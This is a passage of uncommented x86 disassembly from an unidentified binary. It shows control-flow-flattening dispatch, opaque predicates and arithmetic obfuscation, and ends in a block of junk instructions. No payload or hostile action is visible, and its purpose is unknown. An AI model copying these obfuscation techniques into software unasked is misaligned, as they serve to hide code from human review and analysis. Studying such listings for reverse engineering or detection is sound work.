and esi, 0x29242975
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x600992b6
mov ecx, eax
not ecx
and eax, 0x931b78f4
and ecx, 0x6ce4870b
or eax, ecx
mov ecx, eax
xor ecx, 0x921b08a4
xor eax, 0x2ce4060b
and eax, 0x2de4765b
and ecx, 0xd21b89a4
or ecx, eax
mov eax, ecx
xor eax, 0x2ce04442
xor ecx, 0x90098884
and eax, 0x6ef24562
and ecx, 0x910dba9d
or ecx, eax
xor ecx, 0x910dba9d
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setge al
mov ecx, eax
mov ch, al
or al, dl
xor ch, dl
xor al, 1
inc cl
or al, ch
xor ah, cl
or cl, dl
xor al, 1
xor cl, 1
or al, ah
and ah, dl
or cl, ah
mov ah, al
mov edx, ecx
xor ah, 1
xor dl, al
and al, cl
and dl, cl
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xb9d3979
jmp 0x40eec5
cmp eax, 0x139b9f0f
je 0x40ecf7
cmp eax, 0x15984332
jne 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x28]
mov eax, 0xf09f24a1
jmp 0x402ce0
cmp eax, 0x8f88c866
je 0x40ed0d
cmp eax, 0x90c87a80
jne 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x73500a51
and edx, 0x8caff5ae
or ecx, edx
mov edx, eax
xor edx, 0x479ca2ad
mov esi, ecx
xor ecx, 0x48ca0ac
and edx, eax
xor esi, 0x42100001
mov ebx, edx
or ecx, 0xb8635d52
not ebx
and esi, 0x4294a0a1
and edx, 0x7297fda3
mov edi, ecx
or ecx, ebx
and edi, 0x8d68025c
and ebx, 0x8d68025c
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xfac646b7
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xdb1b7642
and edx, 0x24e489bd
or ecx, edx
mov edx, ecx
xor edx, 0x9c87d4ee
xor ecx, 0x63782b11
and edx, eax
andn eax, eax, ecx
or edx, eax
not edx
or edx, ecx
xor edx, 0xffffffff
setne ch
sete ah
cmp dword [0x4d6178], 0xa
mov al, ch
setge cl
setl dl
mov dh, cl
or al, cl
and cl, ah
xor dh, ch
and ch, dl
or dl, ah
or cl, ch
and al, dh
xor cl, 1
xor al, 1
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
mov edx, eax
or cl, ah
or dl, cl
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf2aa4af2
cmovne ecx, esi
test al, 1
mov esi, 0xf2aa4af2
jmp 0x40b9da
cmp eax, 0x5326924e
je 0x40ed17
cmp eax, 0x533e699a
jne 0x402ce0
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x50d2312b
and edx, ecx
not ecx
and ecx, 0x50d2312b
or edx, ecx
mov eax, edx
not eax
and edx, 0x319af4cd
and eax, 0xce650b32
or edx, eax
mov ecx, edx
xor ecx, 0x6148c5e6
xor edx, 0x9eb73a19
mov eax, edx
mov esi, ecx
or eax, 1
and edx, 0xfffffffe
and esi, 1
and ecx, 0x546f479e
or esi, edx
mov edx, eax
and edx, 0xab90b860
or ecx, edx
mov edx, esi
not edx
and esi, 0x546f479f
or eax, edx
and edx, 0xab90b860
or esi, edx
not eax
xor esi, ecx
or eax, esi
mov esi, 0x5ed1a372
mov ecx, eax
not ecx
and eax, 0xf76e5f8b
and ecx, 0x891a074
or eax, ecx
cmp eax, 0xf76e5f8b
sete dl
cmp dword [0x4d6178], 0xa
mov ecx, edx
setge ah
mov al, ah
or ah, dl
xor al, dl
and cl, al
not al
and al, dl
xor cl, 1
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
or al, dl
mov edx, ecx
xor dl, al
xor al, 1
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov eax, 0xdbae5919
cmovne eax, esi
test dl, 1
not bl
mov edx, 0xdbae5919
cmovne eax, esi
test bl, 1
cmove eax, edx
jmp 0x402ce0
cmp eax, 0xd0beef00
je 0x40ed3f
cmp eax, 0xd13c40ee
jne 0x402ce0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x58]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x2c]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0xc]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0x8e8426e9
jmp 0x402ce0
cmp eax, 0x2eeb7ecf
je 0x40ed49
cmp eax, 0x3079f40e
jne 0x402ce0
mov eax, 0x6e9d7faa
jmp 0x402ce0
cmp eax, 0xb5aa8fab
je 0x40ed75
cmp eax, 0xb6682665
jne 0x402ce0
mov ecx, dword [0x4d617c]
mov esi, 0x187ed88d
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 1
mov edx, ecx
and edx, 0xfffffffe
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xcd3967a1
and ecx, 0x32c6985e
or eax, ecx
xor eax, 0xcd3967a1
setne dl
sete ah
cmp dword [0x4d6178], 0xa
setge ch
setl al
mov cl, ch
and al, dl
xor cl, ah
and ah, ch
or al, ah
and cl, ch
or cl, al
xor al, 1
mov edx, eax
xor al, cl
or dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x672deabd
cmovne eax, esi
test dl, dl
mov edx, 0x672deabd
jmp 0x40b775
cmp eax, 0x72703b6d
je 0x40ed88
cmp eax, 0x72dc0c10
jne 0x402ce0
push eax
mov eax, esp
mov dword [ebp - 0x1c], eax
push eax
mov eax, esp
mov dword [ebp - 0x84], eax
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
mov eax, esp
mov dword [ebp - 0x18], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0x98], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x14], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x863a803c
mov eax, ecx
xor eax, 0x20c99706
and edx, 0x79c57fc3
andn eax, ecx, eax
or edx, esi
mov ecx, edx
xor ecx, 0x79c57fc3
xor edx, 0x86080018
mov esi, ecx
and esi, 0xdf3668f9
and edx, 0xeec90c1a
or eax, esi
mov esi, eax
not esi
and eax, 0x528a2402
and esi, 0xad75dbfd
or eax, esi
mov esi, ecx
and esi, 0x1136f3e5
and ecx, 1
or esi, edx
mov edx, esi
xor edx, 0xe8800409
xor esi, 0x11147004
or ecx, edx
mov edx, eax
xor edx, 0x59c4c50
and esi, 0x175d7816
xor eax, 0x7243b305
and ecx, 0xe8a287e9
and edx, 0x15dd4f50
or ecx, esi
mov esi, eax
and esi, 0xea22b0af
or edx, esi
mov esi, ecx
xor esi, 0x800740
xor ecx, 0x175d7816
or eax, ecx
and ecx, 0xea22b0af
and esi, 0x15dd4f50
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xfbd3d9f2
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x4d6178], 0xa
setl ah
setge al
mov dh, ah
mov cl, al
or dh, al
xor cl, dh
xor dh, 1
or dh, cl
xor dh, 1
mov cl, dh
or dh, ch
xor cl, ch
not cl
and cl, ch
xor cl, 1
mov ebx, ecx
or cl, dh
xor bl, dh
mov dh, ah
xor ah, ch
and ch, al
or al, dl
xor cl, 1
xor al, 1
and dh, dl
or cl, bl
or al, ah
or dh, ch
mov dl, cl
xor al, 1
or al, dh
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x1937f9b9
jmp 0x40eec5
cmp eax, 0xf09f24a1
je 0x40ed92
cmp eax, 0xf0bed559
jne 0x402ce0
mov eax, dword [0x4d617c]
mov edi, 0x8bf5b23d
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xf341bb83
and ecx, 0xcbe447c
or edx, ecx
xor edx, 0xf341bb83
or eax, edx
mov edx, eax
mov ecx, eax
or ecx, 0x1d150242
not edx
mov esi, edx
or esi, 0x42e8c48d
and ecx, 0x5ffdc6cf
and edx, 0xa0021810
or edx, ecx
mov ecx, eax
and esi, 0x5ffdc6cf
and ecx, 0x2120
and eax, 0xfffffffe
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0x2541d834
and edx, 0xdabe27cb
or ecx, edx
xor ecx, 0xc7ab04a8
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x8ccf2d8e
and eax, 0x7330d271
or ecx, eax
mov eax, ecx
xor eax, 0x80ce288e
xor ecx, 0x7330d271
mov esi, ecx
and esi, 0x4f318540
and eax, 0xb0ce7abf
or eax, esi
mov esi, edx
not esi
and edx, 0xb0ce7abf
or ecx, esi
and esi, 0x4f318540
or edx, esi
not ecx
mov esi, 0x87c7f57b
xor edx, eax
or ecx, edx
sete ah
cmp dword [0x4d6178], 0xa
setl al
setge dl
mov ecx, eax
xor dl, ah
xor cl, ah
mov ch, cl
and cl, al
or al, ah
and ch, ah
mov ah, dl
xor cl, 1
xor ch, 1
xor ah, al
or al, dl
mov dh, ch
xor al, 1
xor dh, cl
or cl, ch
or al, ah
xor cl, 1
or cl, dh
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
cmovne edi, esi
test al, 1
mov eax, 0x8bf5b23d
cmovne eax, edi
test cl, 1
cmove eax, edi
jmp 0x402ce0
cmp eax, 0xff0ca8d1
je 0x40ed9c
cmp eax, 0x336e503
jne 0x402ce0
mov eax, 0x86530592
jmp 0x402ce0
cmp eax, 0x8909ab74
je 0x40edbc
cmp eax, 0x8a274b41
jne 0x402ce0
mov eax, dword [0x4d617c]
lea esi, [eax + 1]
imul esi, eax
mov ecx, esi
not ecx
mov eax, esi
or eax, 1
and esi, 0xfffffffe
mov edx, ecx
and edx, 1
and ecx, 0x98926512
or edx, esi
mov esi, eax
and esi, 0x676d9aec
or ecx, esi
mov esi, edx
not esi
and edx, 0x98926513
or eax, esi
and esi, 0x676d9aec
or edx, esi
not eax
mov esi, 0x51aa92eb
xor edx, ecx
or eax, edx
cmp eax, 0xffffffff
sete dl
cmp dword [0x4d6178], 0xa
setl al
setge cl
mov ah, al
xor cl, dl
xor al, dl
or ah, dl
xor cl, 1
mov edx, 0x9408735f
xor ah, 1
or al, ah
xor al, cl
cmovne edx, esi
test al, cl
mov esi, 0x9408735f
jmp 0x40b909
cmp eax, 0x4ec14355
je 0x40eeda
cmp eax, 0x4fed65b5
jne 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1b0], eax
mov eax, 0xc96d8262
jmp 0x402ce0
cmp eax, 0xc96d8262
je 0x40eefb
cmp eax, 0xcaa81e22
jne 0x402ce0
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov eax, 0xd82df628
jmp 0x402ce0
cmp eax, 0x26f67a23
je 0x40ef6e
cmp eax, 0x2a576e1c
jne 0x402ce0
mov eax, 0xc93a51c7
jmp 0x402ce0
cmp eax, 0xafef97c8
je 0x40f0b5
cmp eax, 0xb0deb849
jne 0x402ce0
mov eax, dword [ebp - 0x24]
mov eax, 0x26946e66
jmp 0x402ce0
cmp eax, 0x6e5442c8
je 0x40f0cb
cmp eax, 0x6e9d7faa
jne 0x402ce0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
and eax, 0x18002c0
mov esi, ecx
and esi, 0x2011404
and ecx, 0x7510ebbd
or eax, esi
mov esi, edx
xor esi, 0x38116c4
xor eax, 0x18002c0
and esi, edx
or eax, esi
not esi
and esi, 0xfc7ee93a
and eax, 0x38116c5
or eax, esi
mov esi, eax
not esi
and eax, 0x6b5d0bd8
and esi, 0x94a2f427
or eax, esi
mov esi, eax
xor esi, 0x61100b98
xor eax, 0x94a2f427
mov edi, eax
or eax, edx
and edx, 0x8aef1442
and edi, 0x8aef1442
and esi, 0x7510ebbd
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x647e500d
and ecx, 0x9b81aff2
or eax, ecx
xor eax, 0x647e500d
sete ch
setne al
cmp dword [0x4d6178], 0xa
mov cl, ch
setge dl
setl ah
and dl, ch
and al, ah
xor cl, ah
or ah, ch
or al, dl
mov edx, ecx
xor al, 1
xor dl, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, dl
xor al, 1
and ah, cl
or al, ch
xor ah, 1
mov ch, al
or ah, cl
xor ch, 1
xor ah, 1
or ch, cl
or ah, dl
xor ch, 1
xor ah, al
xor al, dl
mov edx, 0x3079f40e
or ch, al
mov al, ch
xor al, ah
test ch, 1
mov ecx, 0xcf6990f
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0xcf6990f
jmp 0x402ccf
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x4d617c]
mov eax, dword [eax]
mov dword [ebp - 0x19c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x41da6e17
mov edx, eax
not edx
mov edi, eax
or edi, 0x248108
and ecx, eax
and edi, 0x1ee8d19
and edx, 0x40106206
mov esi, ecx
not esi
and ecx, 0xfe1172e6
or edx, edi
or eax, esi
and esi, 0x1ee8d19
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xbe2591e8
and eax, 0x41da6e17
or eax, ecx
mov edx, eax
xor edx, 0x34d346c6
mov ecx, eax
and ecx, 0xe943e958
and edx, eax
not eax
and eax, 0x16bc16a7
mov ebx, edx
not ebx
and edx, 0x7390dfb7
or ecx, eax
mov eax, ecx
xor eax, 0x14900686
mov esi, ecx
xor esi, 0x20004000
or eax, 0xcb2cb939
and esi, 0x30904686
mov edi, eax
or eax, ebx
and edi, 0x8c6f2048
and ebx, 0x8c6f2048
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x84afa9ab
or eax, edx
mov edx, eax
not edx
and eax, 0x4aaab899
and edx, 0xb5554766
or eax, edx
mov edx, ecx
xor edx, 0xe941a050
xor ecx, 0x12a81206
or edx, 1
and ecx, 0x12aa5b0e
xor eax, 0x7e79fe5e
and edx, 0xed55a4f1
or edx, ecx
xor edx, 0xed55a4f1
or edx, eax
mov eax, edx
not eax
and edx, 0x7aed807b
and eax, 0x85127f84
or eax, edx
mov ecx, eax
xor ecx, 0x85006800
xor eax, 0x20cd0071
and eax, 0x20df17f5
and ecx, 0xdf20e80a
or ecx, eax
xor ecx, 0xdf20e80a
setne ah
sete ch
cmp dword [0x4d6178], 0xa
mov cl, ah
setge al
setl dl
mov dh, al
or cl, al
and al, ch
xor dh, ah
and ah, dl
or dl, ch
and cl, dh
or al, ah
xor dl, 1
mov ah, cl
or al, dl
mov edx, ecx
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
or ah, al
xor dl, 1
or dl, cl
mov ecx, 0xb89b1d60
xor dl, al
mov al, ah
xor dl, 1
xor al, dl
test al, 1
cmovne ecx, esi
test ah, ah
mov eax, 0xb89b1d60
jmp 0x40e092
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xcc483092
and edx, 0x33b7cf6d
or edx, ecx
mov esi, edx
mov eax, edx
xor eax, 0x1378824
xor esi, 0xcc483092
xor edx, 0xdcbfe3b1
and edx, esi
and eax, 0x413f9834
and esi, 0xbec067cb
or esi, eax
mov eax, esi
mov edi, esi
xor eax, 0xbec067cb
xor edi, 0x51c84b17
xor esi, 0x40319834
and edi, eax
and esi, 0x6ab1bf37
mov ecx, edi
not ecx
and edi, 0x8db2b55a
mov ebx, ecx
and ebx, 0x724d4aa5
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x8db2b55a
or ecx, ebx
and ebx, 0x724d4aa5
or edx, ebx
not ecx
xor edx, edi
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x10f7d322
and edx, 0xef082cdd
or ecx, edx
mov edx, eax
and edx, 0x954e40c8
and eax, 1
or edx, esi
xor edx, 0x6ab1bf36
or eax, edx
mov edx, eax
not edx
and eax, 0xfad223e6
and edx, 0x52ddc19
or eax, edx
xor eax, 0xfad223e6
or eax, ecx
mov edx, eax
xor edx, 0x67b8ec51
mov ecx, eax
and ecx, 0xb3f110b0
and edx, eax
not eax
and eax, 0x4c0eef4f
or ecx, eax
mov eax, ecx
xor ecx, 0x4408ec41
xor eax, 0x20a00010
mov esi, ecx
or esi, 0x8005008c
and eax, 0x20a0a050
and esi, 0xc71d4c8d
or eax, esi
mov esi, edx
not esi
and edx, 0x38e2b372
or ecx, esi
and esi, 0xc71d4c8d
or edx, esi
not ecx
mov esi, 0x3f4da071
xor edx, eax
or ecx, edx
not edx
and edx, 0x984713ae
and ecx, 0x67b8ec51
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xfc8fc359
and eax, 0x3703ca6
or ecx, eax
mov eax, ecx
xor eax, 0x1c060100
xor ecx, 0x500020
and ecx, 0xe0d9c279
and eax, 0x1f263d86
or eax, ecx
cmp eax, 0x1f263d86
sete dl
cmp dword [0x4d6178], 0xa
setge cl
setl al
or al, dl
xor cl, dl
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4ff13c89
cmovne ecx, esi
test al, al
mov eax, 0x4ff13c89
jmp 0x40ecea
mov eax, 0xed534df5
jmp 0x402ce0
mov eax, 0x72dc0c10
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xdb4cdf6
and eax, 0xf24b3209
or edx, eax
mov ecx, edx
mov eax, edx
xor eax, 0x400b3000
xor ecx, 0xdb4cdf6
xor edx, 0xb1b0d642
and edx, ecx
and eax, 0x451ff190
and ecx, 0xbae00e6f
or ecx, eax
mov esi, ecx
xor ecx, 0x451ff190
xor esi, 0xbae00e6f
mov eax, ecx
or eax, 0x43fbe44b
mov ebx, esi
and ebx, 0x18000b00
or esi, 1
and ecx, 0xef2a1f2e
mov edi, eax
and edi, 0xe7ccd4bc
or ebx, edi
mov edi, edx
not edi
and edx, 0x18332b43
or eax, edi
and edi, 0xe7ccd4bc
or edx, edi
not eax
xor edx, ebx
or eax, edx
mov edx, eax
not edx
and eax, 0xadd2c13
and edx, 0xf522d3ec
or eax, edx
mov edx, eax
xor edx, 0xa6081726
xor eax, 0x4926c859
mov edi, eax
or eax, esi
and esi, 0x10d5e0d0
and edi, 0x10d5e0d0
and edx, 0xef2a1f2f
or edx, edi
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x8f742301
and ecx, 0x708bdcfe
or ecx, eax
mov eax, ecx
xor eax, 0xf402101
xor ecx, 0x600a449a
and ecx, 0xe03e469a
and eax, 0x1fc1b965
or eax, ecx
mov ecx, eax
xor ecx, 0x900a041
xor eax, 0xc00a0008
and eax, 0xd6cb192c
and ecx, 0x2934e6d3
or ecx, eax
mov eax, ecx
xor eax, 0xc4cb180c
xor ecx, 0x21100493
and ecx, 0x331005b3
and eax, 0xcceffa4c
or eax, ecx
xor eax, 0xcceffa4c
sete al
setne cl
cmp dword [0x4d6178], 0xa
setl dl
mov ah, dl
xor cl, dl
or ah, al
xor al, dl
xor cl, 1
and al, ah
xor ah, 1
or ah, cl
mov edx, eax
mov cl, ah
xor dl, 1
and al, ah
not cl
and cl, dl
or dl, ah
or cl, al
mov ch, dl
mov eax, 0x8e2edb1c
xor ch, cl
test dl, dl
mov edx, 0x4b1a2848
cmovne eax, edx
test cl, cl
cmove eax, edx
test ch, 1
mov edx, 0x8e2edb1c
cmove eax, edx
jmp 0x402ce0
cmp byte [ebp - 0x78], 0
mov eax, 0x7b1ad9a7
mov ecx, 0x4bb632b1
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, dword [0x4d617c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x14a239dc
not eax
mov edx, eax
and esi, ecx
and edx, 0x14a239dc
and ecx, 0xa3e98c8e
and eax, 0x5c167371
or edx, esi
not esi
or eax, ecx
and esi, 0xeb5dc622
and edx, 0x14a239dd
or edx, esi
mov esi, edx
not esi
and edx, 0x5c167371
mov edi, esi
and edi, 0xa3e98c8e
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
sete dl
setne al
cmp dword [0x4d6178], 0xa
setl ah
setge cl
or dl, ah
xor cl, al
xor al, ah
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov ch, dl
mov eax, 0xf0e0d3e7
xor ch, cl
test dl, dl
mov edx, 0x6eb1557f
cmovne eax, edx
test cl, cl
not ch
cmovne eax, edx
test ch, 1
mov edx, 0xf0e0d3e7
cmove eax, edx
jmp 0x402ce0
mov esi, dword [ebp - 0x16c]
mov ecx, esi
not ecx
mov eax, esi
or eax, 3
and esi, 0xebaf7248
mov edx, ecx
and edx, 0x14508db7
and ecx, 0x9a74c250
or edx, esi
mov esi, eax
and esi, 0x658b3dad
or ecx, esi
mov esi, edx
xor esi, 0x10508010
xor edx, 0xebaf724b
or eax, edx
and edx, 0x658b3dad
and esi, 0x9a74c252
or esi, edx
not eax
xor esi, ecx
or eax, esi
andn ecx, eax, eax
mov edx, eax
not edx
mov esi, eax
and esi, 0x2686c6f4
mov edi, ecx
not edi
and edx, 0xd979390b
and ecx, 0xd979390b
or eax, edi
and edi, 0x2686c6f4
or edx, esi
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x29fed154
mov edx, ecx
and edx, 0xd6012eab
or eax, edx
xor eax, 0x29fed154
or eax, ecx
mov ecx, 0x3620bb2d
cmp eax, 0xffffffff
mov eax, 0x6a39d04c
cmove eax, ecx
jmp 0x402ce0
mov eax, 0xb49f107f
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xdb1c79a3
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0xb37ca569
mov esi, ecx
and edx, 0x5244f0d7
and esi, 0xadbb0f28
or esi, edx
mov edx, ecx
or edx, 0x5244f0d6
and ecx, 0x4c835a96
and edx, 0x5244f0d7
or eax, ecx
xor edx, esi
xor eax, 0xb37ca569
mov esi, edx
not esi
and edx, 0xf6cec0cc
and esi, 0x9313f33
or edx, esi
mov esi, 0x1895dc88
xor edx, 0xf6cec0cc
or eax, edx
xor eax, 0xffffffff
sete dl
setne cl
cmp dword [0x4d6178], 0xa
setge ah
setl al
xor cl, ah
or ah, dl
and cl, dl
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor al, dl
or ah, dl
or cl, ch
xor ah, 1
mov edx, ecx
or al, ah
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0xdb1c79a3
jmp 0x40c3f6
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x178], eax
mov eax, 0xf9c92920
jmp 0x402ce0
cmp byte [ebp - 0x73], 0
mov eax, 0x717cc61a
mov ecx, 0x73f7f580
cmovne eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x128], eax
mov eax, 0xcb5ea8ae
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 0xd8], ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x13c]
movzx eax, word [eax + 0x10]
add eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0xf3174c1
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 4
mov eax, 0x742600cc
jmp 0x402ce0
mov ecx, dword [0x4d617c]
mov edi, 0xf3bb6350
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4379ee96
and ecx, 0xbc861169
or eax, ecx
mov edx, eax
xor edx, 0x4379ee96
xor eax, 0xbc861169
mov ecx, edx
mov esi, eax
and esi, 0x3d31e361
and ecx, 0xc2ce1c9e
and edx, 0xc0bcd8b5
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x34ba8746
and esi, 0xcb4578b9
or ecx, esi
mov esi, eax
and esi, 0x3f43274a
and eax, 1
or esi, edx
xor ecx, 0x98b6426
mov edx, esi
xor edx, 0xc01c4884
xor esi, 0x39020140
or eax, edx
and esi, 0x39a29170
and eax, 0xc65d6e8f
or eax, esi
mov esi, 0xe7729560
xor eax, 0xc65d6e8f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x7479db64
and ecx, 0x8b86249b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe7b61e09
and ecx, 0x1849e1f6
or eax, ecx
mov ecx, eax
xor ecx, 0x68101a10
xor eax, 0x93cfc56d
mov edx, eax
and edx, 0x962de1af
and ecx, 0x69d21e50
or ecx, edx
xor ecx, 0x69d21e50
or ecx, eax
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x4d6178], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
xor ah, 1
xor al, 1
mov ch, cl
or al, ah
not ch
mov edx, eax
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xf3bb6350
cmovne eax, esi
test dl, dl
mov edx, eax
cmovne edx, edi
test cl, cl
jmp 0x40a340
mov eax, 0xc51deaa8
jmp 0x402ce0
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0x68], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0x3c], eax
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x64], eax
sub esp, 0x78
mov eax, esp
mov dword [ebp - 0x6c], eax
push eax
mov eax, esp
mov dword [ebp - 0x88], eax
sub esp, 8
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0x8c], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x84]
mov dword [eax], ecx
and edx, 0x98
imul ebx
sub esi, 0xb
neg eax
and eax, 0xae
dec esi
sub esi, 0x5c
mov edi, 0xca
mov edi, 0x2f
mov edx, 0x9d
add eax, 0xd9
and edi, 0x5f
rol ebx, 0x40
bswap eax
rol edx, 0xa2
inc eax
neg ebx
mov esi, 0x84
sbb ebx, 0xab
inc ebx
mov edi, 0x36
imul edx
or edx, 0x33
imul esi
ror esi, 0x64
or edi, 0xfb
not edx
dec esi
add edi, 0xca
imul edx
neg edi
mov eax, 0xc5
neg edx
inc edi
or edi, 0xd2
sub edi, 0xee
sub ebx, 0x3d
rcl edx, 0x57
inc ebx
rcl ebx, 0xfc
dec eax
imul eax
dec eax
sub esi, 0xfd
dec edx
neg eax
ror esi, 0xc3
dec ebx
add esi, 0x75
not ebx
and eax, 0x20
mov esi, 7
rcl eax, 0x22
bswap edx
dec ebx
inc edx
inc esi
imul edi
neg esi
bswap ebx
inc esi
inc esi
sbb edi, 0xe1
not edi
neg esi
dec edx
mov ebx, 0x9b
rol edi, 0x8f
neg edi
bswap edx
sbb eax, 0xa5
bswap esi
mov ebx, 0xd9
add edx, 0xab
or eax, 0xf7
or ebx, 0x8e
neg edi
neg esi
inc edi
add eax, 0x74
dec edi
mov eax, 0xd8
neg edi
ror edi, 0xbf
